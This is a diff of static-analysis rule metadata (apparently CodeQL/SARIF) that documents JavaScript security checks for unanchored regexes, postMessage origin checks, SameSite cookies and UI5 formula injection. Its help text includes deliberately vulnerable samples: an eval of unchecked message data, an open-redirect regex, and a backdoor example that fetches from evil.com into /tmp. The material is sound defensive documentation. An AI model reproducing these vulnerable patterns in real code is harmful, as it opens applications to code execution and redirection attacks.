error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.\n\nEven if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.\n\n\n## Recommendation\nUse anchors to ensure that regular expressions match at the expected locations.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n let url = req.param(\"url\");\n // BAD: the host of `url` may be controlled by an attacker\n if (url.match(/https?:\\/\\/www\\.example\\.com\\//)) {\n res.redirect(url);\n }\n});\n\n```\nThe check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead:\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n let url = req.param(\"url\");\n // GOOD: the host of `url` can not be controlled by an attacker\n if (url.match(/^https?:\\/\\/www\\.example\\.com\\//)) {\n res.redirect(url);\n }\n});\n\n```\nA related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\\.example\\.com|beta\\.example\\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\\.example\\.com)|(beta\\.example\\.com)/`\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-094", "external/cwe/cwe-079", "external/cwe/cwe-116" ], - "description" : "Using externally controlled strings to construct code may allow a malicious\n user to execute arbitrary code.", - "id" : "js/unsafe-code-construction", - "kind" : "path-problem", - "name" : "Unsafe code constructed from library input", + "tags" : [ "correctness", "security", "external/cwe/cwe-020" ], + "description" : "Regular expressions without anchors can be vulnerable to bypassing.", + "id" : "js/regex/missing-regexp-anchor", + "kind" : "problem", + "name" : "Missing regular expression anchor", "precision" : "medium", "problem.severity" : "warning", - "security-severity" : "6.1" + "security-severity" : "7.8" } }, { - "id" : "js/samesite-none-cookie", - "name" : "js/samesite-none-cookie", + "id" : "js/missing-origin-check", + "name" : "js/missing-origin-check", "shortDescription" : { - "text" : "Sensitive cookie without SameSite restrictions" + "text" : "Missing origin verification in `postMessage` handler" }, "fullDescription" : { - "text" : "Sensitive cookies where the SameSite attribute is set to \"None\" can in some cases allow for Cross-Site Request Forgery (CSRF) attacks." + "text" : "Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Sensitive cookie without SameSite restrictions\nAuthentication cookies where the SameSite attribute is set to \"None\" can potentially be used to perform Cross-Site Request Forgery (CSRF) attacks if no other CSRF protections are in place.\n\nWith SameSite set to \"None\", a third party website may create an authorized cross-site request that includes the cookie. Such a cross-site request can allow that website to perform actions on behalf of a user.\n\n\n## Recommendation\nSet the `SameSite` attribute to `Strict` on all sensitive cookies.\n\n\n## Example\nThe following example stores an authentication token in a cookie where the `SameSite` attribute is set to `None`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=None`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\nTo prevent the cookie from being included in cross-site requests, set the `SameSite` attribute to `Strict`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=Strict`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\n\n## References\n* MDN Web Docs: [SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite).\n* OWASP: [SameSite](https://owasp.org/www-community/SameSite).\n* Common Weakness Enumeration: [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html).\n", - "markdown" : "# Sensitive cookie without SameSite restrictions\nAuthentication cookies where the SameSite attribute is set to \"None\" can potentially be used to perform Cross-Site Request Forgery (CSRF) attacks if no other CSRF protections are in place.\n\nWith SameSite set to \"None\", a third party website may create an authorized cross-site request that includes the cookie. Such a cross-site request can allow that website to perform actions on behalf of a user.\n\n\n## Recommendation\nSet the `SameSite` attribute to `Strict` on all sensitive cookies.\n\n\n## Example\nThe following example stores an authentication token in a cookie where the `SameSite` attribute is set to `None`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=None`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\nTo prevent the cookie from being included in cross-site requests, set the `SameSite` attribute to `Strict`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=Strict`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\n\n## References\n* MDN Web Docs: [SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite).\n* OWASP: [SameSite](https://owasp.org/www-community/SameSite).\n* Common Weakness Enumeration: [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html).\n" + "text" : "# Missing origin verification in `postMessage` handler\nThe `\"message\"` event is used to send messages between windows. An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the `origin` of the message ensure that it originates from a trusted window.\n\n\n## Recommendation\nAlways verify the origin of incoming messages.\n\n\n## Example\nThe example below uses a received message to execute some code. However, the origin of the message is not checked, so it might be possible for an attacker to execute arbitrary code.\n\n\n```javascript\nfunction postMessageHandler(event) {\n let origin = event.origin.toLowerCase();\n\n console.log(origin)\n // BAD: the origin property is not checked\n eval(event.data);\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n\n```\nThe example is fixed below, where the origin is checked to be trusted. It is therefore not possible for a malicious user to perform an attack using an untrusted origin.\n\n\n```javascript\nfunction postMessageHandler(event) {\n console.log(event.origin)\n // GOOD: the origin property is checked\n if (event.origin === 'https://www.example.com') {\n // do something\n }\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n```\n\n## References\n* [Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation).\n* [The pitfalls of postMessage](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-940](https://cwe.mitre.org/data/definitions/940.html).\n", + "markdown" : "# Missing origin verification in `postMessage` handler\nThe `\"message\"` event is used to send messages between windows. An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the `origin` of the message ensure that it originates from a trusted window.\n\n\n## Recommendation\nAlways verify the origin of incoming messages.\n\n\n## Example\nThe example below uses a received message to execute some code. However, the origin of the message is not checked, so it might be possible for an attacker to execute arbitrary code.\n\n\n```javascript\nfunction postMessageHandler(event) {\n let origin = event.origin.toLowerCase();\n\n console.log(origin)\n // BAD: the origin property is not checked\n eval(event.data);\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n\n```\nThe example is fixed below, where the origin is checked to be trusted. It is therefore not possible for a malicious user to perform an attack using an untrusted origin.\n\n\n```javascript\nfunction postMessageHandler(event) {\n console.log(event.origin)\n // GOOD: the origin property is checked\n if (event.origin === 'https://www.example.com') {\n // do something\n }\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n```\n\n## References\n* [Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation).\n* [The pitfalls of postMessage](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-940](https://cwe.mitre.org/data/definitions/940.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-1275" ], - "description" : "Sensitive cookies where the SameSite attribute is set to \"None\" can\n in some cases allow for Cross-Site Request Forgery (CSRF) attacks.", - "id" : "js/samesite-none-cookie", + "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-940" ], + "description" : "Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler.", + "id" : "js/missing-origin-check", "kind" : "problem", - "name" : "Sensitive cookie without SameSite restrictions", + "name" : "Missing origin verification in `postMessage` handler", "precision" : "medium", "problem.severity" : "warning", - "security-severity" : "5.0" + "security-severity" : "5" } }, { - "id" : "js/file-system-race", - "name" : "js/file-system-race", + "id" : "js/samesite-none-cookie", + "name" : "js/samesite-none-cookie", "shortDescription" : { - "text" : "Potential file system race condition" + "text" : "Sensitive cookie without SameSite restrictions" }, "fullDescription" : { - "text" : "Separately checking the state of a file before operating on it may allow an attacker to modify the file between the two operations." + "text" : "Sensitive cookies where the SameSite attribute is set to \"None\" can in some cases allow for Cross-Site Request Forgery (CSRF) attacks." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Potential file system race condition\nOften it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon.\n\nHowever, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior.\n\n\n## Recommendation\nUse file descriptors instead of file names whenever possible.\n\n\n## Example\nThe following example shows a case where the code checks whether a file inside the `/tmp/` folder exists, and if it doesn't, the file is written to that location.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\nif (!fs.existsSync(filePath)) {\n fs.writeFileSync(filePath, \"Hello\", { mode: 0o600 });\n}\n\n```\nHowever, in a multi-user environment the file might be created by another user between the existence check and the write.\n\nThis can be avoided by using `fs.open` to get a file descriptor, and then use that file descriptor in the write operation.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\ntry {\n const fd = fs.openSync(filePath, fs.O_CREAT | fs.O_EXCL | fs.O_RDWR, 0o600);\n\n fs.writeFileSync(fd, \"Hello\");\n} catch (e) {\n // file existed\n}\n\n```\n\n## References\n* Wikipedia: [Time-of-check to time-of-use](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use).\n* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification).\n* NodeJS: [The FS module](https://nodejs.org/api/fs.html).\n* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html).\n", - "markdown" : "# Potential file system race condition\nOften it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon.\n\nHowever, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior.\n\n\n## Recommendation\nUse file descriptors instead of file names whenever possible.\n\n\n## Example\nThe following example shows a case where the code checks whether a file inside the `/tmp/` folder exists, and if it doesn't, the file is written to that location.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\nif (!fs.existsSync(filePath)) {\n fs.writeFileSync(filePath, \"Hello\", { mode: 0o600 });\n}\n\n```\nHowever, in a multi-user environment the file might be created by another user between the existence check and the write.\n\nThis can be avoided by using `fs.open` to get a file descriptor, and then use that file descriptor in the write operation.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\ntry {\n const fd = fs.openSync(filePath, fs.O_CREAT | fs.O_EXCL | fs.O_RDWR, 0o600);\n\n fs.writeFileSync(fd, \"Hello\");\n} catch (e) {\n // file existed\n}\n\n```\n\n## References\n* Wikipedia: [Time-of-check to time-of-use](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use).\n* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification).\n* NodeJS: [The FS module](https://nodejs.org/api/fs.html).\n* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html).\n" + "text" : "# Sensitive cookie without SameSite restrictions\nAuthentication cookies where the SameSite attribute is set to \"None\" can potentially be used to perform Cross-Site Request Forgery (CSRF) attacks if no other CSRF protections are in place.\n\nWith SameSite set to \"None\", a third party website may create an authorized cross-site request that includes the cookie. Such a cross-site request can allow that website to perform actions on behalf of a user.\n\n\n## Recommendation\nSet the `SameSite` attribute to `Strict` on all sensitive cookies.\n\n\n## Example\nThe following example stores an authentication token in a cookie where the `SameSite` attribute is set to `None`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=None`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\nTo prevent the cookie from being included in cross-site requests, set the `SameSite` attribute to `Strict`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=Strict`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\n\n## References\n* MDN Web Docs: [SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite).\n* OWASP: [SameSite](https://owasp.org/www-community/SameSite).\n* Common Weakness Enumeration: [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html).\n", + "markdown" : "# Sensitive cookie without SameSite restrictions\nAuthentication cookies where the SameSite attribute is set to \"None\" can potentially be used to perform Cross-Site Request Forgery (CSRF) attacks if no other CSRF protections are in place.\n\nWith SameSite set to \"None\", a third party website may create an authorized cross-site request that includes the cookie. Such a cross-site request can allow that website to perform actions on behalf of a user.\n\n\n## Recommendation\nSet the `SameSite` attribute to `Strict` on all sensitive cookies.\n\n\n## Example\nThe following example stores an authentication token in a cookie where the `SameSite` attribute is set to `None`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=None`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\nTo prevent the cookie from being included in cross-site requests, set the `SameSite` attribute to `Strict`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=Strict`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\n\n## References\n* MDN Web Docs: [SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite).\n* OWASP: [SameSite](https://owasp.org/www-community/SameSite).\n* Common Weakness Enumeration: [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-367" ], - "description" : "Separately checking the state of a file before operating\n on it may allow an attacker to modify the file between\n the two operations.", - "id" : "js/file-system-race", + "tags" : [ "security", "external/cwe/cwe-1275" ], + "description" : "Sensitive cookies where the SameSite attribute is set to \"None\" can\n in some cases allow for Cross-Site Request Forgery (CSRF) attacks.", + "id" : "js/samesite-none-cookie", "kind" : "problem", - "name" : "Potential file system race condition", + "name" : "Sensitive cookie without SameSite restrictions", "precision" : "medium", "problem.severity" : "warning", - "security-severity" : "7.7" + "security-severity" : "5.0" } }, { - "id" : "js/insecure-temporary-file", - "name" : "js/insecure-temporary-file", + "id" : "js/http-to-file-access", + "name" : "js/http-to-file-access", "shortDescription" : { - "text" : "Insecure temporary file" + "text" : "Network data written to file" }, "fullDescription" : { - "text" : "Creating a temporary file that is accessible by other users can lead to information disclosure and sometimes remote code execution." + "text" : "Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Insecure temporary file\nTemporary files created in the operating system's temporary directory are by default accessible to other users. In some cases, this can lead to information exposure, or in the worst case, to remote code execution.\n\n\n## Recommendation\nUse a well-tested library like [tmp](https://www.npmjs.com/package/tmp) for creating temporary files. These libraries ensure both that the file is inaccessible to other users and that the file does not already exist.\n\n\n## Example\nThe following example creates a temporary file in the operating system's temporary directory.\n\n\n```javascript\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst file = path.join(os.tmpdir(), \"test-\" + (new Date()).getTime() + \".txt\");\nfs.writeFileSync(file, \"content\");\n```\nThe file created above is accessible to other users, and there is no guarantee that the file does not already exist.\n\nThe below example uses the [tmp](https://www.npmjs.com/package/tmp) library to securely create a temporary file.\n\n\n```javascript\nconst fs = require('fs');\nconst tmp = require('tmp');\n\nconst file = tmp.fileSync().name;\nfs.writeFileSync(file, \"content\");\n```\n\n## References\n* Mitre.org: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* NPM: [tmp](https://www.npmjs.com/package/tmp).\n* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* Common Weakness Enumeration: [CWE-378](https://cwe.mitre.org/data/definitions/378.html).\n", - "markdown" : "# Insecure temporary file\nTemporary files created in the operating system's temporary directory are by default accessible to other users. In some cases, this can lead to information exposure, or in the worst case, to remote code execution.\n\n\n## Recommendation\nUse a well-tested library like [tmp](https://www.npmjs.com/package/tmp) for creating temporary files. These libraries ensure both that the file is inaccessible to other users and that the file does not already exist.\n\n\n## Example\nThe following example creates a temporary file in the operating system's temporary directory.\n\n\n```javascript\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst file = path.join(os.tmpdir(), \"test-\" + (new Date()).getTime() + \".txt\");\nfs.writeFileSync(file, \"content\");\n```\nThe file created above is accessible to other users, and there is no guarantee that the file does not already exist.\n\nThe below example uses the [tmp](https://www.npmjs.com/package/tmp) library to securely create a temporary file.\n\n\n```javascript\nconst fs = require('fs');\nconst tmp = require('tmp');\n\nconst file = tmp.fileSync().name;\nfs.writeFileSync(file, \"content\");\n```\n\n## References\n* Mitre.org: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* NPM: [tmp](https://www.npmjs.com/package/tmp).\n* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* Common Weakness Enumeration: [CWE-378](https://cwe.mitre.org/data/definitions/378.html).\n" + "text" : "# Network data written to file\nStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`.\n\n\n```javascript\nvar https = require(\"https\");\nvar fs = require(\"fs\");\n\nhttps.get('https://evil.com/script', res => {\n res.on(\"data\", d => {\n fs.writeFileSync(\"/tmp/script\", d)\n })\n});\n\n```\nOther parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload).\n* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html).\n* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html).\n", + "markdown" : "# Network data written to file\nStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`.\n\n\n```javascript\nvar https = require(\"https\");\nvar fs = require(\"fs\");\n\nhttps.get('https://evil.com/script', res => {\n res.on(\"data\", d => {\n fs.writeFileSync(\"/tmp/script\", d)\n })\n});\n\n```\nOther parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload).\n* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html).\n* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html).\n" }, "properties" : { - "tags" : [ "external/cwe/cwe-377", "external/cwe/cwe-378", "security" ], - "description" : "Creating a temporary file that is accessible by other users can\n lead to information disclosure and sometimes remote code execution.", - "id" : "js/insecure-temporary-file", + "tags" : [ "security", "external/cwe/cwe-912", "external/cwe/cwe-434" ], + "description" : "Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor.", + "id" : "js/http-to-file-access", "kind" : "path-problem", - "name" : "Insecure temporary file", + "name" : "Network data written to file", "precision" : "medium", "problem.severity" : "warning", - "security-severity" : "7.0" + "security-severity" : "6.3" } }, { "id" : "js/summary/lines-of-code", @@ -2835,7 +2835,7 @@ } ] }, { "name" : "advanced-security/javascript-sap-ui5-queries", - "semanticVersion" : "0.6.0+c94eafdc33da5596916ef1e4345694bfc67155c3", + "semanticVersion" : "0.6.0+417cfc0dcf0d93d19d4b340716e40e8428c51d67", "rules" : [ { "id" : "js/ui5-xss", "name" : "js/ui5-xss", @@ -2864,109 +2864,109 @@ "security-severity" : "6.1" } }, { - "id" : "js/ui5-clickjacking", - "name" : "js/ui5-clickjacking", + "id" : "js/ui5-formula-injection", + "name" : "js/ui5-formula-injection", "shortDescription" : { - "text" : "UI5 Clickjacking" + "text" : "UI5 Formula Injection" }, "fullDescription" : { - "text" : "The absence of frame options allows for clickjacking." + "text" : "Saving data from an uncontrolled remote source using filesystem or local storage leads to disclosure of sensitive information or forgery of entry." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Clickjacking\n\nUI5 applications that do not explicitly set the frame options to `deny` may be vulnerable to UI redress attacks (”clickjacking”). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site.\n\n## Recommendation\n\nExplicitly set the frame options to `\"deny\"`, either through `window[\"sap-ui-config\"]`, or `data-sap-ui-frameOptions` attribute of the script tag where it sources the bootstrap script `\"sap-ui-core.js\"`:\n\n``` javascript\nwindow[\"sap-ui-config\"] = {\n frameOptions: \"deny\",\n ...\n};\n```\n\n``` javascript\nwindow[\"sap-ui-config\"].frameOptions = \"deny\";\n```\n\n``` html\n\n```\n\n## Example\n\n### Setting the Frame Options to `\"allow\"`\n\nThis UI5 application explicitly allows to be embedded in other applications.\n\n```javascript\n\n\n \n ...\n \n\n \n \n ...\n\n```\n\n### Not Setting the Frame Options to Anything\n\nThe default value of `window[\"sap-ui-config\"]` and `data-sap-ui-frameOptions` are both `\"allow\"`, which makes leaving it untouched allows the application to be embedded.\n\n## References\n* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options).\n* SAP UI5 Documentation: [Frame Options](https://sapui5.hana.ondemand.com/sdk/#/topic/62d9c4d8f5ad49aa914624af9551beb7.html).\n* SAP UI5 Documentation: [Allowlist Service](https://sapui5.hana.ondemand.com/sdk/#/topic/d04a6d41480c4396af16b5d2b25509ec.html).\n* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html).\n", - "markdown" : "# Clickjacking\n\nUI5 applications that do not explicitly set the frame options to `deny` may be vulnerable to UI redress attacks (”clickjacking”). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site.\n\n## Recommendation\n\nExplicitly set the frame options to `\"deny\"`, either through `window[\"sap-ui-config\"]`, or `data-sap-ui-frameOptions` attribute of the script tag where it sources the bootstrap script `\"sap-ui-core.js\"`:\n\n``` javascript\nwindow[\"sap-ui-config\"] = {\n frameOptions: \"deny\",\n ...\n};\n```\n\n``` javascript\nwindow[\"sap-ui-config\"].frameOptions = \"deny\";\n```\n\n``` html\n\n```\n\n## Example\n\n### Setting the Frame Options to `\"allow\"`\n\nThis UI5 application explicitly allows to be embedded in other applications.\n\n```javascript\n\n\n \n ...\n \n\n \n \n ...\n\n```\n\n### Not Setting the Frame Options to Anything\n\nThe default value of `window[\"sap-ui-config\"]` and `data-sap-ui-frameOptions` are both `\"allow\"`, which makes leaving it untouched allows the application to be embedded.\n\n## References\n* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options).\n* SAP UI5 Documentation: [Frame Options](https://sapui5.hana.ondemand.com/sdk/#/topic/62d9c4d8f5ad49aa914624af9551beb7.html).\n* SAP UI5 Documentation: [Allowlist Service](https://sapui5.hana.ondemand.com/sdk/#/topic/d04a6d41480c4396af16b5d2b25509ec.html).\n* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html).\n" + "text" : "# Formula injection\n\nUI5 applications that save local data, fetched from an uncontrolled remote source, into a CSV file format using generic APIs such as [`sap.ui.core.util.File.save`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save) are vulnerable to formula injection, or CSV injection.\n\n## Recommendation\n\n### Escape the leading special characters\n\nCSV cells containing leading special characters such as an equal sign (`=`) may be interpreted as spreadsheet formulas. To prevent them from being interpreted these prefixes should be escaped by surrounding the prefixes with single quotes in order to keep them as literal strings.\n\n### Use a dedicated API function\n\nManual construction of a CSV file using string concatenation is prone to mistakes that can lead to security issues. Instead, a dedicated library function should be used. For example, if the target being exported is a [`sap.m.Table`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.m.Table) and the resulting file is to intended to be opened using a spreadsheet program anyways, then using one of the API functions provided by [`sap.ui.export.Spreadsheet`](https://sapui5.hana.ondemand.com/#/entity/sap.ui.export.Spreadsheet) is the preferred method of achieving the same exporting functionality.\n\n## Example\n\nThe following controller is exporting a CSV file obtained from an event parameter by surrounding it in a pair of semicolons (`;`) as CSV separators.\n\n``` javascript\nsap.ui.define([\n \"sap/ui/core/Controller\",\n \"sap/ui/core/util/File\"\n ], function(Controller, File) {\n return Controller.extend(\"vulnerable.controller.app\", {\n onSomeEvent: function(oEvent) {\n let response = oEvent.getProperty(\"someProperty\").someField;\n let csvRow = \";\" + response + \";\";\n File.save(csvRow, \"someFile\", \"csv\", \"text/csv\", \"utf-8\");\n }\n });\n });\n```\n\n## References\n\n- OWASP: [CSV Injection](https://owasp.org/www-community/attacks/CSV_Injection).\n- Common Weakness Enumeration: [CWE-1236](https://cwe.mitre.org/data/definitions/1236.html).\n- SAP UI5 API Reference: [`sap.ui.export.Spreadsheet`](https://sapui5.hana.ondemand.com/#/entity/sap.ui.export.Spreadsheet).\n- SAP UI5 API Reference: [`sap.ui.core.util.File.save`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save).\n", + "markdown" : "# Formula injection\n\nUI5 applications that save local data, fetched from an uncontrolled remote source, into a CSV file format using generic APIs such as [`sap.ui.core.util.File.save`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.ui.core.util.File%23methods/sap.ui.core.util.File.save) are vulnerable to formula injection, or CSV injection.\n\n## Recommendation\n\n### Escape the leading special characters\n\nCSV cells containing leading special characters such as an equal sign (`=`) may be interpreted as spreadsheet formulas. To prevent them from being interpreted these prefixes should be escaped by surrounding the prefixes with single quotes in order to keep them as literal strings.\n\n### Use a dedicated API function\n\nManual construction of a CSV file using string concatenation is prone to mistakes that can lead to security issues. Instead, a dedicated library function should be used. For example, if the target being exported is a [`sap.m.Table`](https://sapui5.hana.ondemand.com/sdk/#/api/sap.m.Table) and the resulting file is to intended to be opened using a spreadsheet program anyways, then using one of the API functions provided by [`sap.ui.export.Spreadsheet`](https://sapui5.hana.ondemand.com/#/entity/sap.ui.export.Spreadsheet) is the preferred method of achieving the same exporting functionality.\n\n## Example\n\nThe following controller is exporting a CSV file obtained from an event parameter by surrounding it 